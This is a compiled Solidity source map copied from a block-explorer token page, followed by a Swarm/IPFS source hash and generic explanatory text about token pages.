7751:32;-1:-1:-1;7794:13:0;7810:22;:5;7751:32;7810:9;:22::i;:::-;7869:13;;7794:38;;-1:-1:-1;;;;;;7861:21:0;;;7869:13;;7861:21;;;;:63;;-1:-1:-1;;;;;;7900:24:0;;;;;;:18;:24;;;;;;;;7899:25;7861:63;:105;;;;-1:-1:-1;;;;;;7942:24:0;;;;;;:18;:24;;;;;;;;7941:25;7861:105;7843:281;;;8027:10;;8017:21;;-1:-1:-1;;;;;8027:10:0;8017:9;:21::i;:::-;:26;:92;;;;-1:-1:-1;8098:11:0;;8084:9;;-1:-1:-1;;;;;8084:9:0;8068:26;;;;:15;:26;;;;;;:41;;8017:92;7991:133;;;;;;8176:4;8160:22;;;;:7;:22;;;;;;:33;;8187:5;8160:26;:33::i;:::-;8151:4;8135:22;;;;:7;:22;;;;;:58;-1:-1:-1;;;;;7636:565:0:o;11216:147::-;11294:7;;:17;;11306:4;11294:11;:17::i;:::-;11284:7;:27;11335:10;;:20;;11350:4;11335:14;:20::i;:::-;11322:10;:33;-1:-1:-1;;11216:147:0:o;8209:469::-;8378:7;;;;8472:30;8498:3;8472:21;:7;8484:8;8472:11;:21::i;:::-;:25;;:30::i;:::-;8457:45;-1:-1:-1;8513:13:0;8529:28;8553:3;8529:19;:7;8541:6;8529:11;:19::i;:28::-;8513:44;-1:-1:-1;8568:23:0;8594:28;8513:44;8594:17;:7;8606:4;8594:11;:17::i;:::-;:21;;:28::i;:::-;8568:54;8658:4;;-1:-1:-1;8664:5:0;;-1:-1:-1;8209:469:0;;-1:-1:-1;;;;;8209:469:0:o;8686:534::-;8880:7;;;;8977:24;:7;8989:11;8977;:24::i;:::-;8959:42;-1:-1:-1;9012:12:0;9027:21;:4;9036:11;9027:8;:21::i;:::-;9012:36;-1:-1:-1;9059:13:0;9075:22;:5;9085:11;9075:9;:22::i;:::-;9059:38;-1:-1:-1;9108:23:0;9134:28;9059:38;9134:17;:7;9146:4;9134:11;:17::i;:28::-;9181:7;;;;-1:-1:-1;9207:4:0;;-1:-1:-1;8686:534:0;;-1:-1:-1;;;;;;;8686:534:0:o;2018:246::-;2076:7;2100:1;2105;2100:6;2096:47;;-1:-1:-1;2130:1:0;2123:8;;2096:47;2153:9;2165:5;2169:1;2165;:5;:::i;:::-;2153:17;-1:-1:-1;2198:1:0;2189:5;2193:1;2153:17;2189:5;:::i;:::-;:10;2181:56;;;;-1:-1:-1;;;2181:56:0;;10850:2:1;2181:56:0;;;10832:21:1;10889:2;10869:18;;;10862:30;10928:34;10908:18;;;10901:62;-1:-1:-1;;;10979:18:1;;;10972:31;11020:19;;2181:56:0;10648:397:1;14:548;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1631:456::-;1708:6;1716;1724;1777:2;1765:9;1756:7;1752:23;1748:32;1745:52;;;1793:1;1790;1783:12;1745:52;1832:9;1819:23;1851:31;1876:5;1851:31;:::i;:::-;1901:5;-1:-1:-1;1958:2:1;1943:18;;1930:32;1971:33;1930:32;1971:33;:::i;:::-;1631:456;;2023:7;;-1:-1:-1;;;2077:2:1;2062:18;;;;2049:32;;1631:456::o;2092:180::-;2151:6;2204:2;2192:9;2183:7;2179:23;2175:32;2172:52;;;2220:1;2217;2210:12;2172:52;-1:-1:-1;2243:23:1;;2092:180;-1:-1:-1;2092:180:1:o;2674:247::-;2733:6;2786:2;2774:9;2765:7;2761:23;2757:32;2754:52;;;2802:1;2799;2792:12;2754:52;2841:9;2828:23;2860:31;2885:5;2860:31;:::i;2926:273::-;2982:6;3035:2;3023:9;3014:7;3010:23;3006:32;3003:52;;;3051:1;3048;3041:12;3003:52;3090:9;3077:23;3143:5;3136:13;3129:21;3122:5;3119:32;3109:60;;3165:1;3162;3155:12;3204:388;3272:6;3280;3333:2;3321:9;3312:7;3308:23;3304:32;3301:52;;;3349:1;3346;3339:12;3301:52;3388:9;3375:23;3407:31;3432:5;3407:31;:::i;:::-;3457:5;-1:-1:-1;3514:2:1;3499:18;;3486:32;3527:33;3486:32;3527:33;:::i;:::-;3579:7;3569:17;;;3204:388;;;;;:::o;3597:356::-;3799:2;3781:21;;;3818:18;;;3811:30;3877:34;3872:2;3857:18;;3850:62;3944:2;3929:18;;3597:356::o;7182:127::-;7243:10;7238:3;7234:20;7231:1;7224:31;7274:4;7271:1;7264:15;7298:4;7295:1;7288:15;7314:125;7379:9;;;7400:10;;;7397:36;;;7413:18;;:::i;7848:128::-;7915:9;;;7936:11;;;7933:37;;;7950:18;;:::i;8524:127::-;8585:10;8580:3;8576:20;8573:1;8566:31;8616:4;8613:1;8606:15;8640:4;8637:1;8630:15;8656:251;8726:6;8779:2;8767:9;8758:7;8754:23;8750:32;8747:52;;;8795:1;8792;8785:12;8747:52;8827:9;8821:16;8846:31;8871:5;8846:31;:::i;8912:980::-;9174:4;9222:3;9211:9;9207:19;9253:6;9242:9;9235:25;9279:2;9317:6;9312:2;9301:9;9297:18;9290:34;9360:3;9355:2;9344:9;9340:18;9333:31;9384:6;9419;9413:13;9450:6;9442;9435:22;9488:3;9477:9;9473:19;9466:26;;9527:2;9519:6;9515:15;9501:29;;9548:1;9558:195;9572:6;9569:1;9566:13;9558:195;;;9637:13;;-1:-1:-1;;;;;9633:39:1;9621:52;;9728:15;;;;9693:12;;;;9669:1;9587:9;9558:195;;;-1:-1:-1;;;;;;;9809:32:1;;;;9804:2;9789:18;;9782:60;-1:-1:-1;;;9873:3:1;9858:19;9851:35;9770:3;8912:980;-1:-1:-1;;;8912:980:1:o;9897:217::-;9937:1;9963;9953:132;;10007:10;10002:3;9998:20;9995:1;9988:31;10042:4;10039:1;10032:15;10070:4;10067:1;10060:15;9953:132;-1:-1:-1;10099:9:1;;9897:217::o;10475:168::-;10548:9;;;10579;;10596:15;;;10590:22;;10576:37;10566:71;;10617:18;;:::i

Swarm Source

ipfs://30ef11fcd4aa4cf06e843ff76adb341d84d42c408b099b52ca62b239bfdaa407
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.